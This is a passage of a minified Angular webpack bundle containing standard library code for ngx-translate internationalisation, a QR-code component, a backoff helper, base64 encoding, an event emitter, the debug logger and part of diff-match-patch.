ie=this.getParsedResult(this.translations[this.currentLang],b,B);return(0,s.b)(ie)?ie:(0,a.of)(ie)}}getStreamOnTranslationChange(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');return(0,c.z)((0,f.P)(()=>this.get(b,B)),this.onTranslationChange.pipe((0,Oe.w)(ie=>{const Xe=this.getParsedResult(ie.translations,b,B);return"function"==typeof Xe.subscribe?Xe:(0,a.of)(Xe)})))}stream(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');return(0,c.z)((0,f.P)(()=>this.get(b,B)),this.onLangChange.pipe((0,Oe.w)(ie=>{const Xe=this.getParsedResult(ie.translations,b,B);return(0,s.b)(Xe)?Xe:(0,a.of)(Xe)})))}instant(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');let ie=this.getParsedResult(this.translations[this.currentLang],b,B);if((0,s.b)(ie)){if(b instanceof Array){let Xe={};return b.forEach((it,wt)=>{Xe[b[wt]]=b[wt]}),Xe}return b}return ie}set(b,B,ie=this.currentLang){this.translations[ie][b]=this.compiler.compile(B,ie),this.updateLangs(),this.onTranslationChange.emit({lang:ie,translations:this.translations[ie]})}changeLang(b){this.currentLang=b,this.onLangChange.emit({lang:b,translations:this.translations[b]}),null==this.defaultLang&&this.changeDefaultLang(b)}changeDefaultLang(b){this.defaultLang=b,this.onDefaultLangChange.emit({lang:b,translations:this.translations[b]})}reloadLang(b){return this.resetLang(b),this.getTranslation(b)}resetLang(b){this._translationRequests[b]=void 0,this.translations[b]=void 0}getBrowserLang(){if(typeof window>"u"||typeof window.navigator>"u")return;let b=window.navigator.languages?window.navigator.languages[0]:null;return b=b||window.navigator.language||window.navigator.browserLanguage||window.navigator.userLanguage,typeof b>"u"?void 0:(-1!==b.indexOf("-")&&(b=b.split("-")[0]),-1!==b.indexOf("_")&&(b=b.split("_")[0]),b)}getBrowserCultureLang(){if(typeof window>"u"||typeof window.navigator>"u")return;let b=window.navigator.languages?window.navigator.languages[0]:null;return b=b||window.navigator.language||window.navigator.browserLanguage||window.navigator.userLanguage,b}}return x.\\u0275fac=function(b){return new(b||x)(n.LFG(pe),n.LFG(Qe),n.LFG(xt),n.LFG(ve),n.LFG(Ke),n.LFG(w),n.LFG(P),n.LFG(X),n.LFG(R))},x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})(),Dt=(()=>{class x{constructor(b,B,ie){this.translateService=b,this.element=B,this._ref=ie,this.onTranslationChangeSub||(this.onTranslationChangeSub=this.translateService.onTranslationChange.subscribe(Xe=>{Xe.lang===this.translateService.currentLang&&this.checkNodes(!0,Xe.translations)})),this.onLangChangeSub||(this.onLangChangeSub=this.translateService.onLangChange.subscribe(Xe=>{this.checkNodes(!0,Xe.translations)})),this.onDefaultLangChangeSub||(this.onDefaultLangChangeSub=this.translateService.onDefaultLangChange.subscribe(Xe=>{this.checkNodes(!0)}))}set translate(b){b&&(this.key=b,this.checkNodes())}set translateParams(b){bt(this.currentParams,b)||(this.currentParams=b,this.checkNodes(!0))}ngAfterViewChecked(){this.checkNodes()}checkNodes(b=!1,B){let ie=this.element.nativeElement.childNodes;ie.length||(this.setContent(this.element.nativeElement,this.key),ie=this.element.nativeElement.childNodes);for(let Xe=0;Xe<ie.length;++Xe){let it=ie[Xe];if(3===it.nodeType){let wt;if(b&&(it.lastKey=null),ze(it.lookupKey))wt=it.lookupKey;else if(this.key)wt=this.key;else{let Vt=this.getContent(it),Gt=Vt.trim();Gt.length&&(it.lookupKey=Gt,Vt!==it.currentValue?(wt=Gt,it.originalContent=Vt||it.originalContent):it.originalContent?wt=it.originalContent.trim():Vt!==it.currentValue&&(wt=Gt,it.originalContent=Vt||it.originalContent))}this.updateValue(wt,it,B)}}}updateValue(b,B,ie){if(b){if(B.lastKey===b&&this.lastParams===this.currentParams)return;this.lastParams=this.currentParams;let Xe=it=>{it!==b&&(B.lastKey=b),B.originalContent||(B.originalContent=this.getContent(B)),B.currentValue=ze(it)?it:B.originalContent||b,this.setContent(B,this.key?B.currentValue:B.originalContent.replace(b,B.currentValue)),this._ref.markForCheck()};if(ze(ie)){let it=this.translateService.getParsedResult(ie,b,this.currentParams);(0,s.b)(it)?it.subscribe(Xe):Xe(it)}else this.translateService.get(b,this.currentParams).subscribe(Xe)}}getContent(b){return ze(b.textContent)?b.textContent:b.data}setContent(b,B){ze(b.textContent)?b.textContent=B:b.data=B}ngOnDestroy(){this.onLangChangeSub&&this.onLangChangeSub.unsubscribe(),this.onDefaultLangChangeSub&&this.onDefaultLangChangeSub.unsubscribe(),this.onTranslationChangeSub&&this.onTranslationChangeSub.unsubscribe()}}return x.\\u0275fac=function(b){return new(b||x)(n.Y36(Et),n.Y36(n.SBq),n.Y36(n.sBO))},x.\\u0275dir=n.lG2({type:x,selectors:[["","translate",""],["","ngx-translate",""]],inputs:{translate:"translate",translateParams:"translateParams"}}),x})(),Pt=(()=>{class x{constructor(b,B){this.translate=b,this._ref=B,this.value=""}updateValue(b,B,ie){let Xe=it=>{this.value=void 0!==it?it:b,this.lastKey=b,this._ref.markForCheck()};if(ie){let it=this.translate.getParsedResult(ie,b,B);(0,s.b)(it.subscribe)?it.subscribe(Xe):Xe(it)}this.translate.get(b,B).subscribe(Xe)}transform(b,...B){if(!b||!b.length)return b;if(bt(b,this.lastKey)&&bt(B,this.lastParams))return this.value;let ie;if(ze(B[0])&&B.length)if("string"==typeof B[0]&&B[0].length){let Xe=B[0].replace(/(\\\')?([a-zA-Z0-9_]+)(\\\')?(\\s)?:/g,\'"$2":\').replace(/:(\\s)?(\\\')(.*?)(\\\')/g,\':"$3"\');try{ie=JSON.parse(Xe)}catch{throw new SyntaxError(`Wrong parameter in TranslatePipe. Expected a valid Object, received: ${B[0]}`)}}else"object"==typeof B[0]&&!Array.isArray(B[0])&&(ie=B[0]);return this.lastKey=b,this.lastParams=B,this.updateValue(b,ie),this._dispose(),this.onTranslationChange||(this.onTranslationChange=this.translate.onTranslationChange.subscribe(Xe=>{this.lastKey&&Xe.lang===this.translate.currentLang&&(this.lastKey=null,this.updateValue(b,ie,Xe.translations))})),this.onLangChange||(this.onLangChange=this.translate.onLangChange.subscribe(Xe=>{this.lastKey&&(this.lastKey=null,this.updateValue(b,ie,Xe.translations))})),this.onDefaultLangChange||(this.onDefaultLangChange=this.translate.onDefaultLangChange.subscribe(()=>{this.lastKey&&(this.lastKey=null,this.updateValue(b,ie))})),this.value}_dispose(){typeof this.onTranslationChange<"u"&&(this.onTranslationChange.unsubscribe(),this.onTranslationChange=void 0),typeof this.onLangChange<"u"&&(this.onLangChange.unsubscribe(),this.onLangChange=void 0),typeof this.onDefaultLangChange<"u"&&(this.onDefaultLangChange.unsubscribe(),this.onDefaultLangChange=void 0)}ngOnDestroy(){this._dispose()}}return x.\\u0275fac=function(b){return new(b||x)(n.Y36(Et,16),n.Y36(n.sBO,16))},x.\\u0275pipe=n.Yjl({name:"translate",type:x,pure:!1}),x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})(),te=(()=>{class x{static forRoot(b={}){return{ngModule:x,providers:[b.loader||{provide:Qe,useClass:Ye},b.compiler||{provide:xt,useClass:Be},b.parser||{provide:ve,useClass:We},b.missingTranslationHandler||{provide:Ke,useClass:dt},pe,{provide:P,useValue:b.isolate},{provide:w,useValue:b.useDefaultLang},{provide:X,useValue:b.extend},{provide:R,useValue:b.defaultLanguage},Et]}}static forChild(b={}){return{ngModule:x,providers:[b.loader||{provide:Qe,useClass:Ye},b.compiler||{provide:xt,useClass:Be},b.parser||{provide:ve,useClass:We},b.missingTranslationHandler||{provide:Ke,useClass:dt},{provide:P,useValue:b.isolate},{provide:w,useValue:b.useDefaultLang},{provide:X,useValue:b.extend},{provide:R,useValue:b.defaultLanguage},Et]}}}return x.\\u0275fac=function(b){return new(b||x)},x.\\u0275mod=n.oAB({type:x}),x.\\u0275inj=n.cJS({}),x})()},2101:(At,ae,d)=>{"use strict";d.d(ae,{w:()=>n});class n{constructor(s,u="/assets/i18n/",c=".json"){this.http=s,this.prefix=u,this.suffix=c}getTranslation(s){return this.http.get(`${this.prefix}${s}${this.suffix}`)}}},3079:(At,ae,d)=>{"use strict";d.d(ae,{N:()=>c,V:()=>u});var n=d(4650),a=d(2516),s=d.n(a),u=function(){function f(E){this.elementRef=E,this.background="white",this.backgroundAlpha=1,this.foreground="black",this.foregroundAlpha=1,this.level="L",this.mime="image/png",this.padding=null,this.size=100,this.value="",this.canvas=!1}return f.prototype.ngOnChanges=function(E){("background"in E||"backgroundAlpha"in E||"foreground"in E||"foregroundAlpha"in E||"level"in E||"mime"in E||"padding"in E||"size"in E||"value"in E||"canvas"in E)&&this.generate()},f.prototype.generate=function(){try{var E=this.elementRef.nativeElement;E.innerHTML="";var _=new(s())({background:this.background,backgroundAlpha:this.backgroundAlpha,foreground:this.foreground,foregroundAlpha:this.foregroundAlpha,level:this.level,mime:this.mime,padding:this.padding,size:this.size,value:this.value});E.appendChild(this.canvas?_.canvas:_.image)}catch(S){console.error("Could not generate QR Code: "+S.message)}},f.\\u0275fac=function(_){return new(_||f)(n.Y36(n.SBq))},f.\\u0275cmp=n.Xpm({type:f,selectors:[["qr-code"]],inputs:{background:"background",backgroundAlpha:"backgroundAlpha",foreground:"foreground",foregroundAlpha:"foregroundAlpha",level:"level",mime:"mime",padding:"padding",size:"size",value:"value",canvas:"canvas"},features:[n.TTD],decls:0,vars:0,template:function(_,S){},encapsulation:2}),f}();u.ctorParameters=function(){return[{type:n.SBq}]},u.propDecorators={background:[{type:n.IIB}],backgroundAlpha:[{type:n.IIB}],foreground:[{type:n.IIB}],foregroundAlpha:[{type:n.IIB}],level:[{type:n.IIB}],mime:[{type:n.IIB}],padding:[{type:n.IIB}],size:[{type:n.IIB}],value:[{type:n.IIB}],canvas:[{type:n.IIB}]};var c=function(){function f(){}return f.\\u0275fac=function(_){return new(_||f)},f.\\u0275mod=n.oAB({type:f}),f.\\u0275inj=n.cJS({}),f}();c.ctorParameters=function(){return[]}},2150:At=>{function ae(d){this.ms=(d=d||{}).min||100,this.max=d.max||1e4,this.factor=d.factor||2,this.jitter=d.jitter>0&&d.jitter<=1?d.jitter:0,this.attempts=0}At.exports=ae,ae.prototype.duration=function(){var d=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var n=Math.random(),a=Math.floor(n*this.jitter*d);d=1&Math.floor(10*n)?d+a:d-a}return 0|Math.min(d,this.max)},ae.prototype.reset=function(){this.attempts=0},ae.prototype.setMin=function(d){this.ms=d},ae.prototype.setMax=function(d){this.max=d},ae.prototype.setJitter=function(d){this.jitter=d}},390:(At,ae)=>{!function(d){"use strict";ae.encode=function(n){var s,a=new Uint8Array(n),u=a.length,c="";for(s=0;s<u;s+=3)c+=d[a[s]>>2],c+=d[(3&a[s])<<4|a[s+1]>>4],c+=d[(15&a[s+1])<<2|a[s+2]>>6],c+=d[63&a[s+2]];return u%3==2?c=c.substring(0,c.length-1)+"=":u%3==1&&(c=c.substring(0,c.length-2)+"=="),c},ae.decode=function(n){var u,f,E,_,S,a=.75*n.length,s=n.length,c=0;"="===n[n.length-1]&&(a--,"="===n[n.length-2]&&a--);var g=new ArrayBuffer(a),C=new Uint8Array(g);for(u=0;u<s;u+=4)f=d.indexOf(n[u]),E=d.indexOf(n[u+1]),_=d.indexOf(n[u+2]),S=d.indexOf(n[u+3]),C[c++]=f<<2|E>>4,C[c++]=(15&E)<<4|_>>2,C[c++]=(3&_)<<6|63&S;return g}}("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")},1264:At=>{function ae(n){if(n)return function d(n){for(var a in ae.prototype)n[a]=ae.prototype[a];return n}(n)}At.exports=ae,ae.prototype.on=ae.prototype.addEventListener=function(n,a){return this._callbacks=this._callbacks||{},(this._callbacks["$"+n]=this._callbacks["$"+n]||[]).push(a),this},ae.prototype.once=function(n,a){function s(){this.off(n,s),a.apply(this,arguments)}return s.fn=a,this.on(n,s),this},ae.prototype.off=ae.prototype.removeListener=ae.prototype.removeAllListeners=ae.prototype.removeEventListener=function(n,a){if(this._callbacks=this._callbacks||{},0==arguments.length)return this._callbacks={},this;var s=this._callbacks["$"+n];if(!s)return this;if(1==arguments.length)return delete this._callbacks["$"+n],this;for(var u,c=0;c<s.length;c++)if((u=s[c])===a||u.fn===a){s.splice(c,1);break}return 0===s.length&&delete this._callbacks["$"+n],this},ae.prototype.emit=function(n){this._callbacks=this._callbacks||{};for(var a=new Array(arguments.length-1),s=this._callbacks["$"+n],u=1;u<arguments.length;u++)a[u-1]=arguments[u];if(s){u=0;for(var c=(s=s.slice(0)).length;u<c;++u)s[u].apply(this,a)}return this},ae.prototype.listeners=function(n){return this._callbacks=this._callbacks||{},this._callbacks["$"+n]||[]},ae.prototype.hasListeners=function(n){return!!this.listeners(n).length}},1455:(At,ae,d)=>{ae.formatArgs=function a(E){if(E[0]=(this.useColors?"%c":"")+this.namespace+(this.useColors?" %c":" ")+E[0]+(this.useColors?"%c ":" ")+"+"+At.exports.humanize(this.diff),!this.useColors)return;const _="color: "+this.color;E.splice(1,0,_,"color: inherit");let S=0,g=0;E[0].replace(/%[a-zA-Z%]/g,C=>{"%%"!==C&&(S++,"%c"===C&&(g=S))}),E.splice(g,0,_)},ae.save=function s(E){try{E?ae.storage.setItem("debug",E):ae.storage.removeItem("debug")}catch{}},ae.load=function u(){let E;try{E=ae.storage.getItem("debug")}catch{}return!E&&typeof process<"u"&&"env"in process&&(E=process.env.DEBUG),E},ae.useColors=function n(){return!(!(typeof window<"u"&&window.process)||"renderer"!==window.process.type&&!window.process.__nwjs)||!(typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/(edge|trident)\\/(\\d+)/))&&(typeof document<"u"&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||typeof window<"u"&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\\/(\\d+)/)&&parseInt(RegExp.$1,10)>=31||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\\/(\\d+)/))},ae.storage=function c(){try{return localStorage}catch{}}(),ae.destroy=(()=>{let E=!1;return()=>{E||(E=!0,console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`."))}})(),ae.colors=["#0000CC","#0000FF","#0033CC","#0033FF","#0066CC","#0066FF","#0099CC","#0099FF","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#3300CC","#3300FF","#3333CC","#3333FF","#3366CC","#3366FF","#3399CC","#3399FF","#33CC00","#33CC33","#33CC66","#33CC99","#33CCCC","#33CCFF","#6600CC","#6600FF","#6633CC","#6633FF","#66CC00","#66CC33","#9900CC","#9900FF","#9933CC","#9933FF","#99CC00","#99CC33","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#CC6600","#CC6633","#CC9900","#CC9933","#CCCC00","#CCCC33","#FF0000","#FF0033","#FF0066","#FF0099","#FF00CC","#FF00FF","#FF3300","#FF3333","#FF3366","#FF3399","#FF33CC","#FF33FF","#FF6600","#FF6633","#FF9900","#FF9933","#FFCC00","#FFCC33"],ae.log=console.debug||console.log||(()=>{}),At.exports=d(3283)(ae);const{formatters:f}=At.exports;f.j=function(E){try{return JSON.stringify(E)}catch(_){return"[UnexpectedJSONParseError]: "+_.message}}},3283:(At,ae,d)=>{At.exports=function n(a){function u(z){let H,U,G,j=null;function Q(...oe){if(!Q.enabled)return;const Ce=Q,k=Number(new Date);Ce.diff=k-(H||k),Ce.prev=H,Ce.curr=k,H=k,oe[0]=u.coerce(oe[0]),"string"!=typeof oe[0]&&oe.unshift("%O");let se=0;oe[0]=oe[0].replace(/%([a-zA-Z%])/g,(q,we)=>{if("%%"===q)return"%";se++;const ce=u.formatters[we];return"function"==typeof ce&&(q=ce.call(Ce,oe[se]),oe.splice(se,1),se--),q}),u.formatArgs.call(Ce,oe),(Ce.log||u.log).apply(Ce,oe)}return Q.namespace=z,Q.useColors=u.useColors(),Q.color=u.selectColor(z),Q.extend=c,Q.destroy=u.destroy,Object.defineProperty(Q,"enabled",{enumerable:!0,configurable:!1,get:()=>null!==j?j:(U!==u.namespaces&&(U=u.namespaces,G=u.enabled(z)),G),set:oe=>{j=oe}}),"function"==typeof u.init&&u.init(Q),Q}function c(z,H){const j=u(this.namespace+(typeof H>"u"?":":H)+z);return j.log=this.log,j}function S(z){return z.toString().substring(2,z.toString().length-2).replace(/\\.\\*\\?$/,"*")}return u.debug=u,u.default=u,u.coerce=function g(z){return z instanceof Error?z.stack||z.message:z},u.disable=function E(){const z=[...u.names.map(S),...u.skips.map(S).map(H=>"-"+H)].join(",");return u.enable(""),z},u.enable=function f(z){let H;u.save(z),u.namespaces=z,u.names=[],u.skips=[];const j=("string"==typeof z?z:"").split(/[\\s,]+/),U=j.length;for(H=0;H<U;H++)j[H]&&("-"===(z=j[H].replace(/\\*/g,".*?"))[0]?u.skips.push(new RegExp("^"+z.slice(1)+"$")):u.names.push(new RegExp("^"+z+"$")))},u.enabled=function _(z){if("*"===z[z.length-1])return!0;let H,j;for(H=0,j=u.skips.length;H<j;H++)if(u.skips[H].test(z))return!1;for(H=0,j=u.names.length;H<j;H++)if(u.names[H].test(z))return!0;return!1},u.humanize=d(4366),u.destroy=function C(){console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.")},Object.keys(a).forEach(z=>{u[z]=a[z]}),u.names=[],u.skips=[],u.formatters={},u.selectColor=function s(z){let H=0;for(let j=0;j<z.length;j++)H=(H<<5)-H+z.charCodeAt(j),H|=0;return u.colors[Math.abs(H)%u.colors.length]},u.enable(u.load()),u}},3969:At=>{var ae=function(){this.Diff_Timeout=1,this.Diff_EditCost=4,this.Match_Threshold=.5,this.Match_Distance=1e3,this.Patch_DeleteThreshold=.5,this.Patch_Margin=4,this.Match_MaxBits=32},d=-1;ae.Diff=function(s,u){return[s,u]},ae.prototype.diff_main=function(s,u,c,f){typeof f>"u"&&(f=this.Diff_Timeout<=0?Number.MAX_VALUE:(new Date).getTime()+1e3*this.Diff_Timeout);var E=f;if(null==s||null==u)throw new Error("Null input. (diff_main)");if(s==u)return s?[new ae.Diff(0,s)]:[];typeof c>"u"&&(c=!0);var _=c,S=this.diff_commonPrefix(s,u),g=s.substring(0,S);s=s.substring(S),u=u.substring(S),S=this.diff_commonSuffix(s,u);var C=s.substring(s.length-S);s=s.substring(0,s.length-S),u=u.substring(0,u.length-S);var z=this.diff_compute_(s,u,_,E);return g&&z.unshift(new ae.Diff(0,g)),C&&z.push(new ae.Diff(0,C)),this.diff_cleanupMerge(z),z},ae.prototype.diff_compute_=function(s,u,c,f){var E;if(!s)return[new ae.Diff(1,u)];if(!u)return[new ae.Diff(d,s)];var _=s.length>u.length?s:u,S=s.length>u.length?u:s,g=_.indexOf(S);if(-1!=g)return E=[new ae.Diff(1,_.substring(0,g)),new ae.Diff(0,S),new ae.Diff(1,_.substring(g+S.length))],s.length>u.length&&(E[0][0]=E[2][0]=d),E;if(1==S.length)return[new ae.Diff(d,s),new ae.Diff(1,u)];var C=this.diff_halfMatch_(s,u);if(C){var H=C[1],U=C[3],G=C[4],Q=this.diff_main(C[0],C[2],c,f),oe=this.diff_main(H,U,c,f);return Q.concat([new ae.Diff(0,G)],oe)}return c&&s.length>100&&u.length>100?this.diff_lineMode_(s,u,f):this.diff_bisect_(s,u,f)},ae.prototype.diff_lineMode_=function(s,u,c){var f=this.diff_linesToChars_(s,u),E=f.lineArray,_=this.diff_main(s=f.chars1,u=f.chars2,!1,c);this.diff_charsToLines_(_,E),this.diff_cleanupSemantic(_),_.push(new ae.Diff(0,""));for(var S=0,g=0,C=0,z="",H="";S<_.length;){switch(_[S][0]){case 1:C++,H+=_[S][1];break;case d:g++,z+=_[S][1];break;case 0:if(g>=1&&C>=1){_.splice(S-g-C,g+C),S=S-g-C;for(var j=this.diff_main(z,H,!1,c),U=j.length-1;U>=0;U--)_.splice(S,0,j[U]);S+=j.length}C=0,g=0,z="",H=""}S++}return _.pop(),_},ae.prototype.diff_bisect_=function(s,u,c){for(var f=s.length,E=u.length,_=Math.ceil((f+E)/2),S=_,g=2*_,C=new Array(g),z=new Array(g),H=0;H<g;H++)C[H]=-1,z[H]=-1;C[S+1]=0,z[S+1]=0;for(var j=f-E,U=j%2!=0,G=0,Q=0,oe=0,Ce=0,k=0;k<_&&!((new Date).getTime()>c);k++){for(var K=-k+G;K<=k-Q;K+=2){for(var se=S+K,q=(ee=K==-k||K!=k&&C[se-1]<C[se+1]?C[se+1]:C[se-1]+1)-K;ee<f&&q<E&&s.charAt(ee)==u.charAt(q);)ee++,q++;if(C[se]=ee,ee>f)Q+=2;else if(q>E)G+=2;else if(U&&(we=S+j-K)>=0&&we<g&&-1!=z[we]&&ee>=(ce=f-z[we]))return this.diff_bisectSplit_(s,u,ee,q,c)}for(var je=-k+oe;je<=k-Ce;je+=2){for(var ce,we=S+je,Ze=(ce=je==-k||je!=k&&z[we-1]<z[we+1]?z[we+1]:z[we-1]+1)-je;ce<f&&Ze<E&&s.charAt(f-ce-1)==u.charAt(E-Ze-1);)ce++,Ze++;if(z[we]=ce,ce>f)Ce+=2;else if(Ze>E)oe+=2;else if(!U){var ee;if((se=S+j-je)>=0&&se<g&&-1!=C[se])if(q=S+(ee=C[se])-se,ee>=(ce=f-ce))return this.diff_bisectSplit_(s,u,ee,q,c)}}}return[new ae.Diff(d,s),new ae.Diff(1,u)]},ae.prototype.diff_bisectSplit_=function(s,u,c,f,E){var _=s.substring(0,c),S=u.substring(0,f),g=s.substring(c),C=u.substring(f),z=this.diff_main(_,S,!1,E),H=this.diff_main(g,C,!1,E);return z.concat(H)},ae.prototype.diff_linesToChars_=function(s,u){var c=[],f={};function E(C){for(var z="",H=0,j=-1,U=c.length;j<C.length-1;){-1==(j=C.indexOf("\\n",H))&&(j=C.length-1);var G=C.substring(H,j+1);(f.hasOwnProperty?f.hasOwnProperty(G):void 0!==f[G])?z+=String.fromCharCode(f[G]):(U==_&&(G=C.substring(H),j=C.length),z+=String.fromCharCode(U),f[G]=U,c[U++]=G),H=j+1}return z}c[0]="";var _=4e4,S=E(s);return _=65535,{chars1:S,chars2:E(u),lineArray:c}},ae.prototype.diff_charsToLines_=function(s,u){for(var c=0;c<s.length;c++){for(var f=s[c][1],E=[],_=0;_<f.length;_++)E[_]=u[f.charCodeAt(_)];s[c][1]=E.join("")}},ae.prototype.diff_commonPrefix=function(s,u){if(!s||!u||s.charAt(0)!=u.charAt(0))return 0;for(var c=0,f=Math.min(s.length,u.length),E=f,_=0;c<E;)s.substring(_,E)==u.substring(_,E)?_=c=E:f=E,E=Math.floor((f-c)/2+c);return E},ae.prototype.diff_commonSuffix=function(s,u){if(!s||!u||s.charAt(s.length-1)!=u.charAt(u.length-1))return 0;for(var c=0,f=Math.min(s.length,u.length),E=f,_=0;c<E;)s.substring(s.length-E,s.length-_)==u.substring(u.length-E,u.length-_)?_=c=E:f=E,E=Math.floor((f-c)/2+c);return E},ae.prototype.diff_commonOverlap_=function(s,u){var c=s.length,f=u.length;if(0==c||0==f)return 0;c>f?s=s.substring(c-f):c<f&&(u=u.substring(0,c));var E=Math.min(c,f);if(s==u)return E;for(var _=0,S=1;;){var g=s.substring(E-S),C=u.indexOf(g);if(-1==C)return _;S+=C,(0==C||s.substring(E-S)==u.substring(0,S))&&(_=S,S++)}},ae.prototype.diff_halfMatch_=function(s,u){if(this.Diff_Timeout<=0)return null;var c=s.length>u.length?s:u,f=s.length>u.length?u:s;if(c.length<4||2*f.length<c.length)return null;var E=this;function _(Q,oe,Ce){for(var ee,q,we,ce,k=Q.substring(Ce,Ce+Math.floor(Q.length/4)),K=-1,se="";-1!=(K=oe.indexOf(k,K+1));){var je=E.diff_commonPrefix(Q.substring(Ce),oe.substring(K)),Ze=E.diff_commonSuffix(Q.substring(0,Ce),oe.substring(0,K));se.length<Ze+je&&(se=oe.substring(K-Ze,K)+oe.substring(K,K+je),ee=Q.substring(0,Ce-Ze),q=Q.substring(Ce+je),we=oe.substring(0,K-Ze),ce=oe.substring(K+je))}return 2*se.length>=Q.length?[ee,q,we,ce,se]:null}var C,z,H,j,U,S=_(c,f,Math.ceil(c.length/4)),g=_(c,f,Math.ceil(c.length/2));return S||g?(C=g?S&&S[4].length>g[4].length?S:g:S,s.length>u.length?(z=C[0],H=C[1],j=C[2],U=C[3]):(j=C[0],U=C[1],z=C[2],H=C[3]),[z,H,j,U,C[4]]):null},ae.prototype.diff_cleanupSemantic=function(s){for(var u=!1,c=[],f=0,E=null,_=0,S=0,g=0,C=0,z=0;_<s.length;)0==s[_][0]?(c[f++]=_,S=C,g=z,C=0,z=0,E=s[_][1]):(1==s[_][0]?C+=s[_][1].length:z+=s[_][1].length,E&&E.length<=Math.max(S,g)&&E.length<=Math.max(C,z)&&(s.splice(c[f-1],0,new ae.Diff(d,E)),s[c[f-1]+1][0]=1,f--,_=--f>0?c[f-1]:-1,S=0,g=0,C=0,z=0,E=null,u=!0)),_++;for(u&&this.diff_cleanupMerge(s),this.diff_cleanupSemanticLossless(s),_=1;_<s.length;){if(s[_-1][0]==d&&1==s[_][0]){var H=s[_-1][1],j=s[_][1],U=this.diff_commonOverlap_(H,j),G=this.diff_commonOverlap_(j,H);U>=G?(U>=H.length/2||U>=j.length/2)&&(s.splice(_,0,new ae.Diff(0,j.substring(0,U))),s[_-1][1]=H.substring(0,H.length-U),s[_+1][1]=j.substring(U),_++):(G>=H.length/2||G>=j.length/2)&&(s.splice(_,0,new ae.Diff(0,H.substring(0,G))),s[_-1][0]=1,s[_-1][1]=j.substring(0,j.length-G),s[_+1][0]=d,s[_+1][1]=H.substring(G),_++),_++}_++}},ae.prototype.diff_cleanupSemanticLossless=function(s){function u(G,Q){if(!G||!Q)return 6;var oe=G.charAt(G.length-1),Ce=Q.charAt(0),k=oe.match(ae.nonAlphaNumericRegex_),K=Ce.match(ae.nonAlphaNumericRegex_),se=k&&oe.match(ae.whitespaceRegex_),ee=K&&Ce.match(ae.whitespaceRegex_),q=se&&oe.match(ae.linebreakRegex_),we=ee&&Ce.match(ae.linebreakRegex_),ce=q&&G.match(ae.blanklineEndRegex_),je=we&&Q.match(ae.blanklineStartRegex_);return ce||je?5:q||we?4:k&&!se&&ee?3:se||ee?2:k||K?1:0}for(var c=1;c<s.length-1;){if(0==s[c-1][0]&&0==s[c+1][0]){var f=s[c-1][1],E=s[c][1],_=s[c+1][1],S=this.diff_commonSuffix(f,E);if(S){var g=E.substring(E.length-S);f=f.substring(0,f.length-S),E=g+E.substring(0,E.length-S),_=g+_}for(var C=f,z=E,H=_,j=u(f,E)+u(E,_);E.charAt(0)===_.charAt(0);){f+=E.charAt(0),E=E.substring(1)+_.charAt(0),_=_.substring(1);var U=u(f,E)+u(E,_);U>=j&&(j=U,C=f,z=E,H=_)}s[c-1][1]!=C&&(C?s[c-1][1]=C:(s.splice(c-1,1),c--),s[c][1]=z,H?s[c+1][1]=H:(s.splice(c+1,1),c--))}c++}},ae.nonAlphaNumericRegex_=/[^a-zA-Z0-9]/,ae.whitespaceRegex_=/\\s/,ae.linebreakRegex_=/[\\r\\n]/,ae.blanklineEndRegex_=/\\n\\r?\\n$/,ae.blanklineStartRegex_=/^\\r?\\n\\r?\\n/,ae.prototype.diff_cleanupEfficiency=function(s){for(var u=!1,c=[],f=0,E=null,_=0,S=!1,g=!1,C=!1,z=!1;_<s.length;)0==s[_][0]?(s[_][1].length<this.Diff_EditCost&&(C||z)?(c[f++]=_,S=C,g=z,E=s[_][1]):(f=0,E=null),C=z=!1):(s[_][0]==d?z=!0:C=!0,E&&(S&&g&&C&&z||E.length<this.Diff_EditCost/2&&S+g+C+z==3)&&(s.splice(c[f-1],0,new ae.Diff(d,E)),s[c[f-1]+1][0]=1,f--,E=null,S&&g?(C=z=!0,f=0):(_=--f>0?c[f-1]:-1,C=z=!1),u=!0)),_++;u&&this.diff_cleanupMerge(s)},ae.prototype.diff_cleanupMerge=function(s){s.push(new ae.Diff(0,""));for(var S,u=0,c=0,f=0,E="",_="";u<s.length;)switch(s[u][0]){case 1:f++,_+=s[u][1],u++;break;case d:c++,E+=s[u][1],u++;break;case 0:c+f>1?(0!==c&&0!==f&&(0!==(S=this.diff_commonPrefix(_,E))&&(u-c-f>0&&0==s[u-c-f-1][0]?s[u-c-f-1][1]+=_.substring(0,S):(s.splice(0,0,new ae.Diff(0,_.substring(0,S))),u++),_=_.substring(S),E=E.substring(S)),0!==(S=this.diff_commonSuffix(_,E))&&(s[u][1]=_.substring(_.length-S)+s[u][1],_=_.substring(0,_.length-S),E=E.substring(0,E.length-S))),s.splice(u-=c+f,c+f),E.length&&(s.splice(u,0,new ae.Diff(d,E)),u++),_.length&&(s.splice(u,0,new ae.Diff(1,_)),u++),u++):0!==u&&0==s[u-1][0]?(s[u-1][1]+=s[u][1],s.splice(u,1)):u++,f=0,c=0,E="",_=""}""===s[s.length-1][1]&&s.pop();var 